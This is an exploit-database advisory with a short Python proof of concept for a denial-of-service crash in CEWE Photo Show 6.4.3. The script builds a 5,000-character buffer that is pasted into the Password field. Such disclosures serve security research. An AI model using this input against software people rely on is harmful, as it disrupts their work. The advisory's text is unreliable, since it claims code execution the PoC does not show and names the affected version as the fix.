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vendor:
CEWE Photo Show
by:
Alejandra Sánchez
7.8
CVSS
HIGH
Denial of Service
119
CWE
Product Name: CEWE Photo Show
Affected Version From: 6.4.3
Affected Version To: 6.4.3
Patch Exists: YES
Related CWE: N/A
CPE: a:cewe_photoworld:cewe_photo_show
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2019

CEWE PHOTO SHOW 6.4.3 – Denial of Service (PoC)

The vulnerability exists due to a boundary error when processing user-supplied input. A remote attacker can create a specially crafted file, trick the victim into opening it, and execute arbitrary code on the system. This can be exploited to cause a DoS (Denial of Service) condition.

Mitigation:

Update to the latest version of CEWE PHOTO SHOW 6.4.3 or later.
Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://cewe-photoworld.com/
# Software: https://cewe-photoworld.com/creator-software/windows-download
# Version: 6.4.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'
# 2.- Copy the text from the generated photoshow.txt file to clipboard
# 3.- Open CEWE PHOTO SHOW
# 4.- Click 'Upload'
# 5.- Paste clipboard in the field 'Password' and crashed

buffer = "\x41" * 5000

f = open ("photoshow.txt", "w")
f.write(buffer)
f.close()

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